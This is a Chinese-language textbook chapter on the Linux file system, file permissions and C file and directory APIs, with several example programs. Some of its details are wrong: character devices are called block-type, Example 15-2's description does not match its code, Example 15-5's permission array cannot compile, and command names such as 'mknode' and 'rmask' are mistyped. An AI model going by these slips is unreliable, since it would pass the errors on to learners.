文件结构是文件存放在磁盘等存储设备上的组织方法。主要体现在对文件和目录的组织上。目录提供了管理文件的一个方便而有效的途径。Linux使用标准的目录结构，在安装的时候，安装程序就已经为用户创建了文件系统和完整而固定的目录组成形式，并指定了每个目录的作用和其中的文件类型。

文件主要包含两方面的内容：一是文件本身所包含的数据，二是文件的属性，也称为元数据，包括文件的访问权限、所有者、文件大小、创建日期等。

目录也是一种文件，称为目录文件。目录文件的内容是该目录的目录项，目录项是该目录下的文件和目录的相关信息。当创建一个新目录时，系统将自动创建两个目录项：.和..，前者代表当前目录，后者代表当前目录的父目录。在Shell下输入ls-a可以将其显示在终端上，如图15-1所示。
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图　15-1　在Shell下输入ls-a命令显示文件结果

Linux采用的是树形结构。最上层是根目录，其他的所有目录都是从根目录出发而生成的。微软的DOS和Windows也是采用树形结构，但是在DOS和Windows中这样的树形结构的根是磁盘分区的盘符，有几个分区就有几个树形结构，它们之间的关系是并列的。但是在Linux中，无论操作系统管理几个磁盘分区，这样的目录树只有一个。从结构上讲，各个磁盘分区上的树形目录不一定是并列的。一个典型的Linux系统树形目录结构如图15-2所示，其中每个目录中都包含特定内容。
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图　15-2　Linux的目录结构

在Shell下输入cd/可以切换到根目录，再输入ls可以查看到根目录下的目录情况。在Linux系统中可以使用通配符“*”、“?”来同时引用多个文件。通配符“*”代表文件名中任意的字符或字符串，如tim*表示所有以tim开头的文件。通配符“?”表示任意一个字符，如"tim?"表示所有以tim开头的长度为4个字符的文件。表15-1列出的是Linux文件系统中各主要目录的存放内容。

[image: ]


[image: ]



 15.1.1　Linux文件系统

文件系统指文件存在的物理空间，Linux系统中每个分区都是一个文件系统，都有自己的目录层次结构。Linux会将这些分属不同分区的、单独的文件系统按一定的方式形成一个系统的总的目录层次结构。一个操作系统的运行离不开对文件的操作，因此Linux系统必然要拥有并维护自己的文件系统。

Linux文件系统使用索引节点来记录文件信息，作用像Windows的文件分配表。索引节点是一个结构，它包含了一个文件的长度、创建及修改时间、权限、所属关系、磁盘中的位置等信息。一个文件系统维护了一个索引节点的数组，每个文件或目录都与索引节点数组中的唯一一个元素对应。系统给每个索引节点分配了一个号码，也就是该节点在数组中的索引号，称为索引节点号。

Linux文件系统将文件索引节点号和文件名同时保存在目录中。所以，目录只是将文件的名称和它的索引节点号结合在一起的一张表，目录中每一对文件名称和索引节点号称为一个链接。

对于一个文件来说有唯一的索引节点号与之对应，对于一个索引节点号，却可以有多个文件名与之对应。因此，在磁盘上的同一个文件可以通过不同的路径去访问它。可以用ln命令对一个已经存在的文件再建立一个新的链接，而不复制文件的内容。链接有软链接和硬链接之分，软链接又叫符号链接。它们各自的特点是：

·硬链接：原文件名和链接文件名都指向相同的物理地址。目录不能有硬链接，硬链接不能跨越文件系统（不能跨越不同的分区），文件在磁盘中只有一个副本，节省硬盘空间。由于删除文件要在同一个索引节点属于唯一的链接时才能成功，因此可以防止不必要的误删除。

·符号链接：用ln-s命令建立文件的符号链接。符号链接是Linux特殊文件的一种，作为一个文件，它的数据是它所链接的文件的路径名。类似Windows下的快捷方式。可以删除原有的文件而保存链接文件，没有防止误删除功能。


15.1.2　Linux文件类型

Linux文件类型和Linux文件的文件名所代表的意义是两个不同的概念。通过一般应用程序而创建的文件虽然要用不同的程序来打开，但放在Linux文件类型中衡量的话，大多是常规文件（也被称为普通文件）。Linux文件类型常见的有：普通文件、目录文件、字符设备文件、块设备文件、符号链接文件、FIFO文件、套接字等。下面进行简要说明。

1.普通文件（regular file）

这是最常见的文件类型，这种文件包含某种形式的数据，至于这种数据是文本还是二进制数据，对于内核而言并无区别。对普通文件内容的解释由处理该文件的应用程序完成。可以用ls-lh来查看某个文件的属性，如图15-3所示。
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图　15-3　文件install.log的属性

可以看到有-rw-r--r--，值得注意的是第一个符号是-，这样的文件在Linux中就是普通文件。这些文件一般是用一些相关的应用程序创建的，比如图像工具、文档工具、归档工具等。这类文件的删除是用rm命令。

2.目录文件（directory file）

目录文件就是目录，目录文件的内容就是该目录下的文件和子目录信息，对一个目录文件具有读许可权的任一进程都可以读该目录的内容，但是只有内核可以写目录文件。下面运行ls-lh命令来查看一下文件的属性，如图15-4所示。
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图　15-4　显示文件的属性

从图15-4可以看到有类似drwx------的文件，其第1个字母d取自directory的首字母，这样的文件就是目录，目录在Linux中是一个比较特殊的文件。创建目录可以用mk-dir命令，或用cp命令，cp可以把一个目录复制为另一个目录。删除目录用rm或rmdir命令。

3.字符设备文件（character device file）

用于表示系统中块类型的设备，比如键盘、鼠标等，这些硬件对操作系统来说就是一个文件。如果进入/dev/video目录，列一下文件，会看到如图15-5所示的结果。
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图　15-5　字符设备文件

前面第一个字符是c，就表示字符设备文件，如猫（调制解调器）等串口设备。这类文件用mknode命令创建，用rm命令删除。

目前在最新的Linux发行版本中，一般不用自己来创建设备文件。因为这些文件是和内核相关联的。

4.块设备文件（block device file）

用于表示系统中块类型的设备，如硬盘、光驱等。对这些设备上的数据的访问通常以块的方式进行。如果文件属性的第1个字母是b，如brw-r-----，就表示块设备。

5.套接字文件（socket file）

主要用于网络通信，套接字也可以是一台主机上的进程之间的通信。这个文件属性的第1个字母是s。

6.符号链接文件（symbolic link file）

当查看文件属性时，会看到有类似lrwxrw--的文件，第1个字母是l，这类文件是符号链接文件。

7.FIFO文件

这种文件用于进程间的通信，也称为命名管道。

ls是列出文件和目录的命令，其格式为：



ls[选项]＜目录或文件名＞



主要选项如下：

·-A　选项用来列出所有的文件，包括那些隐藏的文件。

·-l　以长格式显示文件信息。

·-t　将结果按修改时间进行排序，新的文件或目录排在前面。

·-R　显示出这个目录下面的所有文件以外，还要显示出所有子目录下面的文件。

·-color　让ls命令用不同的颜色代表不同的文件类型。

·-help　用来显示出该命令的帮助信息。


15.1.3　Linux文件的访问权限控制

在Linux中的每一个文件或目录都包含访问权限，这些访问权限决定了谁能访问和如何访问这些文件和目录。可以通过以下三种方式设定访问权限：只允许用户自己访问；允许一个预先指定的用户组中的用户访问；允许系统中的任何用户访问。

同时，用户能够控制一个给定的文件或目录的访问程度。一个文件和目录可能有读、写及执行权限。当创建一个文件时，系统会自动地赋予文件所有者读和写的权限，这样可以允许所有者能够显示文件内容和修改文件。文件所有者可以将这些权限改变为任何他想指定的权限。一个文件也许只有读权限，禁止任何修改，也可能只有执行权限，允许它像一个程序一样执行。

三种不同的用户类型能够访问一个目录或者文件：所有者、用户组或其他用户。所有者就是创建文件的用户，用户是所有用户所创建的文件的所有者，用户可以允许所在的用户组能访问用户的文件。通常，用户都组合成用户组，例如，某一类或某一项目中的所有用户都能够被系统管理员归为一个用户组，一个用户能够授予所在用户组的其他成员的文件访问权限。最后，用户也将自己的文件向系统内的所有用户开放，在这种情况下，系统内的所有用户都能够访问用户的目录或文件。在这种意义上，系统内的其他所有用户就是其他用户类。

每一个用户都有它自身的读、写和执行权限。不同的访问权限赋予用户不同类型（即所有者、用户组和其他用户）的读、写及执行权限，构成了一个有9种类型的权限组。如使用-l参数的ls命令显示文件的详细信息，其中包括权限。其中的结果之一如下所示：



-rw-r--r--1 root root 1.1K 5月15 10:48 copys.o



上面的运行结果从左至右依次是：文件属性、文件数、所有者、拥有该文件的用户所属的组、文件大小、文件创建时间、文件名。

文件属性共由10位组成，第1位表示文件类型，用来区分文件和目录，其中：

·d：表示是一个目录，事实上在ext2fs中，目录是一个特殊的文件。

·-：表示这是一个普通的文件。

·l：表示这是一个符号链接文件，实际上它指向另一个文件。

·b、c：分别表示区块设备和其他的外围设备，是特殊类型的文件。

·s、p：这些文件关系到系统的数据结构和管道，通常很少见到。

剩下的9位表示文件的访问权限。可以按照每3个一组分成3组，从左到右，第1组表示文件所有者对文件的操作权限，第2组表示与文件所有者同组的用户对该文件的操作权限，第3组表示其他用户对该文件的操作权限。每组只能出现3个字母，意义如下：

·r（Read，读取）：对文件而言，具有读取文件内容的权限；对目录来说，具有浏览目录的权限。

·w（Write，写入）：对文件而言，具有新增、修改文件内容的权限；对目录来说，具有删除、移动目录内文件的权限。

·x（eXecute，执行）：对文件而言，具有执行文件的权限；对目录来说，该用户具有进入目录的权限。

·-：表示不具有该项权限。

下面举例说明：

1）-rwx------：文件所有者对文件具有读取、写入和执行的权限。

2）-rwxr--r--：文件所有者具有读取、写入与执行的权限，其他用户则具有读取的权限。

3）-rw-rw-r-x：文件所有者与同组用户对文件具有读取、写入的权限，而其他用户仅具有读取和执行的权限。

4）drwx--x--x：目录所有者具有读取、写入与执行目录的权限，其他用户能执行该目录，却无法读取、写入任何数据。

5）每个用户都拥有自己的专属目录，通常集中放置在/home目录下，这些专属目录的默认权限为rwx------。

6）执行用mkdir命令创建的目录，其默认权限为rwxr-xr-x，用户可以根据需要修改目录的权限。

此外，默认的权限可用umask命令修改，用法非常简单，只需执行umask 777命令，便代表屏蔽所有的权限，因而之后建立的文件或目录，其权限都变成000，依次类推。通常root账号搭配umask命令的数值为022、027和077，普通用户则是采用002，这样所产生的权限依次为755、750、700、775。

用户登录系统时，用户环境就会自动执行rmask命令来决定文件、目录的默认权限。还可以使用文件管理器来改变文件或目录的权限。方法是右击要改变权限的文件或者目录，在弹出的快捷菜单中选择【属性】，系统将打开【属性】对话框，在【属性】对话框中单击【权限】标签，就会打开【权限】选项卡，可以修改文件或者目录的所有者、组群和其他用户的权限，而且可以设置特殊权限。

对于特殊权限，最好不要设置，以避免安全方面出现严重漏洞，造成黑客入侵，甚至摧毁系统。

在Shell下还可以通过chmod和数字来改变文件或目录的访问权限。仅需3个数字来表示权限。

·r：对应数值4

·w：对应数值2

·x：对应数值1

如：



[root@localhost～]#chmod 777 wrong.c



按照上面的规则，rwx合起来就是4+2+1=7，一个rwxrwxrwx权限全开放的文件，数值表示为777；而完全不开放权限的文件“--- -- -- --”其数字表示为000。如果要加上特殊权限，就必须使用4个数字才能表示。特殊权限的对应数值为：

·s或S(SUID)：对应数值4。

·s或S(SGID)：对应数值2。

·t或T：对应数值1。

用同样的方法修改文件权限就可以了。


15.2　文件操作相关函数

键盘、显示器、打印机、磁盘驱动器等逻辑设备，其输入/输出都可以通过文件管理的方法来完成。

C语言没有提供对文件进行操作的语句，所有的文件操作都是利用C语言编译系统所提供的库函数来实现的。多数C语言编译系统都提供两种文件处理方式，即“缓冲文件系统”和“非缓冲文件系统”。“缓冲文件系统”，又被称为高级文件系统，它是通过自动开辟一个内存缓冲区来输入和输出数据的，当向外存储器的文件输出数据时，首先将数据送到内存缓冲区中，当缓冲区充满之后，再输出到磁盘文件中；当从磁盘文件读数据时，它首先读入一批数据存入内存缓冲区中，然后再逐个传递到程序数据区中，这一处理过程对用户来讲是完全透明的。“非缓冲文件系统”，又称为低级文件系统，它所提供的文件输入/输出函数更接近于操作系统，在输入/输出数据时，它并不自动开辟一个内存缓冲区，而是由用户根据所处理的数据的大小在程序中设置数据缓冲区。使用“非缓冲文件系统”提供的函数对文件进行处理的速度将高于“缓冲文件系统”。实际上，“缓冲文件系统”所提供的功能都是在“非缓冲文件系统”的基础上实现的，但由于“非缓冲文件系统”所提供的文件操作函数都依赖于所使用的操作系统，所以，在不同的操作系统下，这类函数的形式是有差异的。考虑到程序的可移植性，应尽量避免使用“非缓冲文件系统”。

无论使用什么文件系统，在对文件进行操作时，都必须遵循以下步骤：

[1]打开文件。

[2]处理文件（包括读文件、写文件等）。

[3]关闭文件。

每一个文件被打开或创建之后，都存在一个唯一确定该文件的文件标识，以后对文件的处理（包括读、写等）就可以通过该文件标识来进行，而不需要使用文件名。

对于“缓冲文件系统”来说，其文件标识被称为“文件类型指针”，它的定义形式如下：



FILE*fp;



其中，FILE是由编译系统定义的一种结构类型，其中存放着有关文件的一些信息，这些信息对用户来说是不需要了解的，fp是指向FILE结构类型的指针变量，它是在打开或创建文件时获得的。


 15.2.1　文件的打开与关闭

标准文件函数主要包括文件的打开、关闭、读和写等函数。

1.fopen()函数

fopen()函数用于打开文件，在Shell下输入"man fopen"可以获取函数原型如下：



#include＜stdio.h＞

FILE *fopen(const char*path,const char *mode);



fopen()函数中第一个形式参数表示文件名，可以包含路径和文件名两部分；第二个形式参数表示打开文件的类型。如：



fp=fopen("test","r+");



表示以读写的方式打开名为test的文件。关于文件操作类型的规定参见表15-2。
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如果要打开一个DOS子目录中、文件名为clear的二进制文件，可写成：



fopen("c:\dos\clear","rb");



如果成功地打开一个文件，fopen()函数返回文件指针，否则返回空指针（NULL）。由此可判断文件打开是否成功。

main()函数执行时，标准输入文件（从键盘读入）、标准输出文件（输出到显示器）、标准出错输出（默认输出到显示器）对应的FILE*指针变量分别为stdin、stdout、stderr。

2.fclose()函数

fclose()函数用来关闭一个由fopen()函数打开的文件，在Shell下输入"man fclose"可以获取函数原型如下：



#include＜stdio.h＞

int fclose(FILE*stream);



此函数会让缓冲区内的数据写入文件中，并释放系统所提供的文件资源。当文件关闭成功时，返回0，否则返回EOF并把错误代码存到errno中。可以根据函数的返回值判断文件是否关闭成功。

在程序结束时一定要记得关闭打开的文件，否则可能会造成数据丢失。

【例15-1】打开文件的程序编写

本例要求编写一个打开文件的程序，程序中使用fopen()和fclose()函数。

[1]在Vi中创建一个新工程文件，命名为"example15_1.c"。

[2]在"example15_1.c"中创建如下所示代码。



#include＜stdio.h＞

int main(int argc,char*argv[])

{

FILE*fp=NULL;

fp=fopen("a.txt","r+");

if(fp==NULL)

{

printf("Open file fail!\n");

return -1;

}

printf("Open file successfully!\n");

fclose(fp);

return 0;

}



[3]用GCC编译运行以后，结果如图15-6所示。
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图　15-6　打开文件

一个文件可以以文本模式或二进制模式打开，这两种模式的区别是：在文本模式中，回车被当成一个字符'n’，而二进制模式认为它是两个字符0x0D、0x0A；如果在文件中读到0x1B，文本模式会认为这是文件结束符，会按一定的方式对数据作相应的转换，而二进制模型不会对文件进行处理。系统默认的是以文本模式打开。


15.2.2　文件的读写

1.fgetc()文件读函数

文件读操作是指从磁盘文件向程序输入数据的过程。每调用一次相应的读函数，文件的读写指针都将自动地移动到下一次读写的位置上。fgetc()函数的功能是从指定的文件读入一个字符，其函数原型为：



#include＜stdio.h＞

int fgetc(FILE*stream);



fgetc()函数从参数stream所指的文件中读取一个字符。函数调用成功会返回读取到的字符，若读到文件尾而无数据时便返回EOF。

2.fputc()函数

该函数的作用是送一个字符到一个流中，其调用格式如下：



#include＜stdio.h＞

int fputc(int c,FILE*steam);



fputc()会将参数c转为unsigned char后写入参数stream指定的文件中。fputc()函数执行成功会返回写入成功的字符，即参数c，如果写入失败则返回EOF。

3.fread()函数

fread()函数的功能是从指定的文件流中读入指定字节的数据块，其函数原型为：



#include＜stdio.h＞

size_t fread(void*ptr,size_t size,size_t nmemb,FILE*stream);



fread()函数用来从文件流中读取数据。参数stream为已打开的文件指针，参数ptr指向欲存放读取进来的数据空间，读取的字符数以参数size*nmemb来决定。fread()函数会返回实际读取到的nmemb数目，如果此值比参数nmemb小，则代表可能读到了文件尾或有错误发生，这时必须用feof()或ferror()来决定发生的情况。

【例15-2】从文件中读取数据

本例要求编写程序，打开一篇名为a.txt的英语文章，统计其中出现的字母数和空格数。

[1]在Vi中创建一个新工程文件，命名为"example15_2.c"。

[2]在"example15_2.c"中创建如下所示代码。



#include＜stdio.h＞

#include＜stdlib.h＞

#define SIZE 1024

int main(void)

{

FILE*fp;

char buf[SIZE];

int n;

char*p;

int sum1,sum2;

fp=fopen("a.txt","rb");

if(fp==NULL)

{

perror("Open fail!");

exit(1);

}

sum1=0;

sum2=0;

while((n=fread(buf,sizeof(char),SIZE-1,fp))＞0)

{

buf[n]='\0';

p=buf;

while(*p!='\0')

{

if(('a'＜=*p＆＆*p＜='z')||('A'＜=*p＆＆*p＜='Z'))/*判断为字母*/

sum1++;

if('0'＜=*p＆＆*p＜='9')/*判断为数字*/

sum2++;

p++;

}

}

if(n==-1)

{

perror("Read fail");

exit(1);

}

printf("the sum of letter is:%d,the sum of number is:%d",sum1,sum2);

return 0;

}



[3]使用GCC编译并运行该程序，结果如图15-7所示。
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图　15-7　打开文件统计字母及空格数

[4]查看a.txt文件的内容，如图15-8所示。
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图　15-8　文件a.txt的内容

4.fwrite()函数

与fread()函数对应，fwrite()函数用来将数据写入文件流中。函数原型为：



#include＜stdio.h＞

size_t fwrite(const void*ptr,size_t size,size_t nmemb,FILE*stream);



参数stream为已打开的文件指针，参数ptr指向欲写入的数据地址，总共写入的字符数由参数size_tnmemb来决定。fwrite()会返回实际写入的nmemb数目。

5.fprintf()函数

fprintf()函数是格式化写函数，输出对象是磁盘文件。fprintf()函数的原型为：



#include＜stdio.h＞

int fprintf(FILE*stream,char*format,＜variable-list＞);



其功能是：将variable-list（输出表）中的相应变量中的数据，经过相应的格式转换后，输出到由“文件类型指针”所标识的文件中。

6.fscanf()函数

fscanf()函数是格式化读函数，从磁盘文件读数据，其函数原型为：



#include＜stdio.h＞

int fscanf(FILE*stream,char*format,＜variable-list＞);



用fprintf()和fscanf()函数对磁盘文件读写，使用方便，但是在输入时要将ASCⅡ码转换成二进制形式，输出时又要将二进制转换为字符，用时较多。


15.2.3　文件的定位

1.rewind()函数

rewind()函数用于把文件位置指示器移到文件的起点处，此函数没有返回值。rewind()函数的原型为：



#include＜stdio.h＞

void rewind(FILE*stream);



参数stream为已打开的文件指针。

2.fseek()函数

fseek()函数的功能是重定位流上的文件指针，其函数原型为：



#include＜stdio.h＞

int fseek(FILE*stream,long offset,int fromwhere);



fseek()函数将文件的位置指针设置到从fromwhere开始的第offset字节的位置上，其中fromwhere是表15-3中的宏定义之一。
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offset是指文件位置指针从指定开始位置（fromwhere指出的位置）跳过的字节数。它是一个长整型量，以支持大于64KB字节的文件。fseek()函数一般用于对二进制文件进行操作。当fseek()函数成功调用时返回0，若有错误返回-1，错误代码会存放在errno中。

例如：



fseek(FILE*stream,20,SEEK_SET);



其含义是把文件读写位置指针从文件开始后移20个字节。

【例15-3】fseek()函数的使用

要求使用fseek()函数从文件a.txt中读取第10个字节。

[1]在Vi中创建一个新工程文件，命名为"example15_3.c"。

[2]在"example15_3.c"中创建如下所示代码。



#include＜stdio.h＞

main()

{

FILE*fp;

long offset;

if((fp=fopen("a.txt","rb"))==NULL)

{

printf("Fail to open!");

exit(1);

}

fseek(fp,10,SEEK_SET);

printf("offset=%d\n",ftell(fp));

fclose(fp);

}



[3]使用GCC编译并运行该程序，结果如图15-9所示。
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图　15-9　使用fseek()函数进行文件操作

3.ftell()函数

用来取得文件流目前的读写位置。函数原型为：



#include＜stdio.h＞

long ftell(FILE*stream);



若有错误返回-1，错误代码会存放在errno中。fseek()函数与ftell()函数可以综合应用在一起。可以用fseek()函数把位置指针移到文件尾，再用ftell()函数获得此时位置指针距文件头的字节数，这个字节数就是文件的长度。

【例15-4】获取文件的长度

要求编写程序，使用ftell()函数来获取文件的长度。

[1]在Vi中创建一个新工程文件，命名为"example15_4.c"。

[2]在"example15_4.c"中创建如下所示代码。



#include＜stdio.h＞

#include＜string.h＞

int main(int argc,char*argv[])

{

FILE*fp;

int length;

char*buffer=NULL;

fp=fopen("a.txt","r");

if(fp==NULL)

{

printf("file not found!\n");

exit(1);

}

fseek(fp,0L,SEEK_END);

length=ftell(fp);

fseek(fp,0L,SEEK_SET);

buffer=(char*)malloc(length);

printf("The length of this file is%1d字节\n",length);

fclose(fp);

return 0;

}



[3]使用GCC编译并运行该程序，结果如图15-10所示。
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图　15-10　使用ftell()函数获取文件的长度


15.2.4　出错检测

错误处理函数涉及errno.h和stdio.h头文件。当发生错误或到达文件末尾时，标准库中的很多函数都将设置状态指示符。

1.ferror()函数

作用：指示文件出错。函数原型为：



#include＜stdio.h＞

int ferror(FILE*stream);



该函数返回0，表示未出错；返回非0，表示出错。在调用一个输入/输出函数后立即检查ferror()函数的值，否则信息会丢失。在执行fopen()函数时，ferror()函数的初始值自动置为0。

2.clearerr()函数

作用：用于清除与流stream相关的文件结束指示符和错误指示符。函数原型为：



#include＜stdio.h＞

void clearerr(FILE*stream);



只要出现错误标志，就一直保留，直到对同一文件调用clearerr()函数或rewind()函数，或任何其他一个输入/输出函数。

3.feof()函数

作用：指示文件结束。函数原型为：



#include＜stdio.h＞

int feof(FILE*stream);



当与流stream有关的文件结束指示符被设置时，该函数返回一个非0值。

4.perror()函数

作用：输出出错信息。函数原型为：



#include＜stdio.h＞

void perror(const char*str);



该函数用于输出字符串及全局变量中的整数值对应的出错信息。


15.2.5　文件的属性操作

在Linux系统中，每个文件和目录都属于某一个用户，每一个用户又属于某一个组，每一个用户有一个对应的uid,uid为0表示该用户具有root权限。默认情况下，uid与用户名是一一对应的，组名和组id与此类似。

Linux文件的属性主要包括文件或目录的节点、种类、权限模式、链接数量、所归属的用户和用户组、最近访问或修改的时间等内容。

Linux系统中文件的属性可以通过在Shell下输入命令"ls-l"来查看。图15-11是执行"ls-l"的结果。
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图　15-11　查看文件的属性

上面的运行结果从左到右依次是：第一项表示文件的属性，前面已经介绍过。第二项表示文件数，对于文件来说，文件个数这一项为1，对于目录，这一项的值是该目录中的目录文件个数。第三项表示文件或目录的所有者。第四项表示文件所有者所属的组。第五项表示文件的大小，默认单位为字节。第六项表示文件最后一次修改的时间。第七项表示文件名。

在程序中需要用到stat()、fstat()、lstat()函数来获取文件属性，这三个函数的功能类似，在Shell下输入命令"man stat"可以获得函数的原型。



#include＜sys/types.h＞

#include＜sys/stat.h＞

#include＜unistd.h＞

int stat(const char *file_name,struct stat *buf);

int fstat(int filedes,struct stat *buf);

int lstat(const char *file_name,struct stat *buf);



这些函数执行成功时都返回0，有错误发生时返回-1，错误代码存入errno中。三个函数的区别是：stat()函数获取由参数file_name指定的文件名的状态信息，fstat()函数获得已在描述符filedes上打开的文件的有关信息。lstat()函数类似于stat()，但是当命名的文件是一个符号链接时，lstat()返回该符号链接的有关信息，而不是由该符号链接引用的文件的信息。

参数struct stat*buf是一个保存文件状态信息的结构体，其类型如下：



struct stat{

dev_t st_dev;

ino_t st_ino;

mode_t st_mode;

nlink_t st_nlink;

uid_t st_uid;

gid_t st_gid;

dev_t st_rdev;

off_t st_size;

blksize_t st_blksize;

blkcnt_t st_blocks;

time_t st_atime;

time_t st_mtime;

time_t st_ctime;

};



各个字段的含义如下：

·st_dev：设备编号。

·st_ino：文件的i-node。

·st_mode：文件的类型和存取权限。

·st_nlink：链接到该文件的硬链接数目。

·st_uid：文件所有者的用户id。

·st_gid：文件所有者的组id。

·st_rdev：若文件是设备文件，为其设备号。

·st_size：文件字节数。

·st_blksize：文件系统的I/O缓冲区大小。

·st_blocks：块的数目。

·st_atime：文件最后一次存取时间。

·st_mtime：文件最后一次修改时间。

·st_ctime：文件最后一次改变时间（指属性）。

【例15-5】读取文件或目录属性

下面是一个使用stat()函数读取文件或目录属性的示例程序。

[1]在Vi中创建一个新工程文件，命名为"example15_5.c"。

[2]在"example15_5.c"中创建如下所示代码。



#include＜stdio.h＞

#include＜time.h＞

#include＜sys/stat.h＞

#include＜unistd.h＞

#include＜sys/types.h＞

#define N 3

int main(int argc,char*argv[])

{

unsigned int i,mask=0700;

struct stat statbuf;

static char*perm={"--","--x","-w-","-wx","r--","r-x","rw-","rwx"};

if(argc＞1)

{

if((stat(argv[1],＆statbuf)!=-1))/*读取文件权限信息*/

{

printf("The file attribute is%s\t",argv[1]);

for(i=3;i;--i)

{

printf("%3s",perm[(statbuf.st_mode＆mask)＞＞(i-1)*N]);

mask＞＞=N;

}

putchar('\n');

}

else

{

perror(argv[1]);

exit(1);

}

}

else

{

fprintf(stderr,"filename\n",argv[0]);

}

return 0;

}



[3]此程序的编译运行结果如图15-12所示。
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图　15-12　用stat()函数读取文件或目录属性

对文件属性的修改，在Shell下可以使用一些命令来完成，在程序中也可以通过一系列的函数来完成，这些函数如下所示。

1.chmod()/fchmod()

chmod()和fchmod()函数用来对文件访问权限进行修改，将文件的读取、写入和执行等权限改为由参数mode表示的值。在Shell下输入"man chmod"可以查看chmod()/fchmod()函数的原型。



#include＜sys/types.h＞

#include＜sys/stat.h＞

int chmod(const char*path,mode_t mode);

int fchmod(int fildes,mode_t mode);



chmod()和fchmod()的区别在于chmod()以文件名作为第一个参数，fchmod()以文件描述符作为第一个参数。函数若执行成功返回0，若失败返回-1。参数mode的数值如表15-4所示。
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2.chown()/fchown()/lchown()

chown()、fchown()和lchown()函数用于修改文件的用户id和组id，它们分别使用参数owner和group来指定。在Shell下输入"man chown"可以获取其函数原型。



#include＜sys/types.h＞

#include＜unistd.h＞

int chown(const char*path,uid_t owner,gid_t group);

int fchown(int fd,uid_t owner,gid_t group);

int lchown(const char*path,uid_t owner,gid_t group);



chown()会将参数path指定的文件所有者id变更为参数owner代表的用户id，而将该文件所有者的组id变更为参数group组id。fchown()与chown()类似，只不过它是以文件描述符作为参数的。除了所引用的文件是符号链接以外，lchown()和chown()功能一样。文件的所有者只能改变文件的组id为其所属组中的一个，超级用户才能修改文件的所有者id，并且超级用户可以任意修改文件的用户组id。如果参数owner或group指定为-1，那么文件的用户id和组id不会被改变。

函数执行成功返回0，当有错误发生时则返回-1，错误代码存入errno中。

3.truncate()/ftruncate()

truncate()和ftruncate()函数用来改变文件的大小。函数原型为：



#include＜unistd.h＞

#include＜sys/types.h＞

int truncate(const char*path,off_t length);

int ftruncate(int fd,off_t length);



truncate()将参数path指定的文件大小改为参数length指定的大小。如果原来的文件大小比参数length指定的大小大，则超过的部分会被删除，如果原来的文件大小比参数length指定的大小小，则文件将被扩展。ftruncate()函数会将参数fd指定的文件大小改为参数length指定的大小。参数fd为已打开的文件描述，而且必须是以写入模式打开的文件。如果原来的文件大小比参数length指定的大小大，则超过的部分会被删去。函数执行成功返回0，当有错误发生时则返回-1，错误代码存入errno中。

4.utime()

该函数用来改变任何文件的st_atime域和st_mtime域，即存取时间和修改时间，在Shell下输入"man utime"可以获取其函数原型。



#include＜sys/types.h＞

#include＜utime.h＞

int utime(const char*filename,struct utimbuf*buf);



struct utimbuf*buf的定义如下：



struct utimbuf

{

time_t actime;/*存取时间*/

time_t modtime;/*修改时间*/

};



utime()系统调用会把由第一个参数filename指定的文件的存取时间改为第二个参数buf的actime域，把修改时间改为第二个参数buf的modtime域，如果buf是一个空指针，则将存取时间和修改时间都改为当前时间。函数执行成功返回0，当有错误发生时则返回-1，错误代码存入errno中。

5.umask()

用于设置文件创建时使用的屏蔽字，并返回以前的值，在Shell下输入"man umask"可获取其函数原型。



#include＜sys/types.h＞

#include＜sys/stat.h＞

mode_t umask(mode_t mask);



在进程创建一个新文件或目录时，如调用open()函数创建一个新文件，新文件的实际存取权限是mode与umask按照（mode＆～umask）运算以后的结果，umask()函数用来修改进程的umask。参数mask可以直接取值也可以为open系统调用第三个参数mode的11个宏或它们的组合。


15.2.6　文件的移动和删除

1.文件的移动

函数rename()可以用来修改文件名或文件的位置。在Shell下输入"man rename"可以获得函数原型。



#include＜stdio.h＞

int rename(const char*oldpath,const char*newpath);



rename()会将参数oldpath所指定的文件名称改为参数newpath所指定的文件名称。若newpath所指定的文件已存在，则会被删除。执行成功则返回0，失败返回-1，错误原因存于errno中。

2.文件的删除

unlink()函数可以用来删除文件，在Shell下输入"man unlink"可以获取函数的原型。



#include＜unistd.h＞

int unlink(const char*pathname);



unlink()会删除参数pathname指定的文件。如果该文件名为最后的链接点，但有其他进程打开了此文件，则在所有关于此文件的文件描述皆关闭后才会删除。如果参数pathname为一符号链接，则此链接会被删除。删除成功则返回0，失败返回-1，错误原因存于errno中。


15.3　目录操作

Linux系统中的一个普通问题是目录浏览，也就是说，决定文件所在的特定的目录。在Shell程序中，这是很简单的，只需要Shell扩展通配符表达式即可。可以像打开普通文件一样打开一个目录，然后直接读取目录实体，但是不同的文件系统结构以及实现使得这种方法不可移植。现在已经开发了一个标准的库函数套件，使得目录浏览更为简单。本节介绍程序的目录操作。


 15.3.1　目录的创建和删除

1.目录的创建

在Linux系统中目录的创建由mkdir()函数来完成，其函数原型为：



#include＜sys/stat.h＞

#include＜sys/types.h＞

int mkdir(const char*pathname,mode_t mode);



mkdir()创建一个新的空目录，空目录中会自动创建.和..目录项，所创建的目录的存取许可权由mode（mode＆～umask）指定。新创建的目录的所有者与创建该目录的所有者一致。函数执行成功返回0，若有错误发生返回-1，错误代码存在errno中。

在创建目录时，可能返回的错误如下所示。

·EPERM：目录中有不合规则的名字。

·EEXIST：参数pathname所指的目录已存在。

·EFAULT：pathname指向了非法的地址。

·EACCESS：权限不足，不允许创建目录。

·ENAMETOOLONG：参数pathname太长。

·ENOENT：所指向的上级目录不存在。

·ENOTDIR：参数pathname不是目录。

·ENOMEM：核心内存不足。

·EROFS：欲创建的目录在只读文件系统中。

·ELOOP：参数pathname有多个符合的链接。

·ENOSPC：磁盘空间不足。

2.目录的删除

在Linux系统中目录的删除由rmdir()函数来完成，其函数原型为：



#include＜unistd.h＞

int rmdir(const char*pathname);



该函数删除由参数pathname指定的空目录。函数执行成功返回0，若有错误发生返回-1，错误代码存在errno中。


15.3.2　获取当前目录

getcwd()函数可以获取进程中的当前工作目录。在Shell下输入"man getcwd"可以获取其函数原型如下：



#include＜unistd.h＞

char*getcwd(char*buf,size_t size);



buf将会返回目前路径名称，参数size为buf的空间大小。任何错误发生，将会返回NULL。如果路径长度超过size,errno为ERANGE。若果参数buf为NULL，函数会根据参数size的大小自动分配内存，如果参数size为0，函数会根据工作目录绝对路径的字符串长度来决定配置的内存的大小。

若函数执行成功，则将结果复制到参数buf所指的内存空间，或是返回自动配置的字符串指针，失败返回NULL，错误代码存于errno中。

如果定义了_GNU_SOURCE，则也可以使用get_current_dir_name()函数来获取当前工作目录。该函数的原型为：



#include＜unistd.h＞

char*get_current_dir_name(void);



该函数使用malloc()分配空间来保存工作目录的绝对路径字符串，如果设置了环境变量PWD，则返回PWD的值。

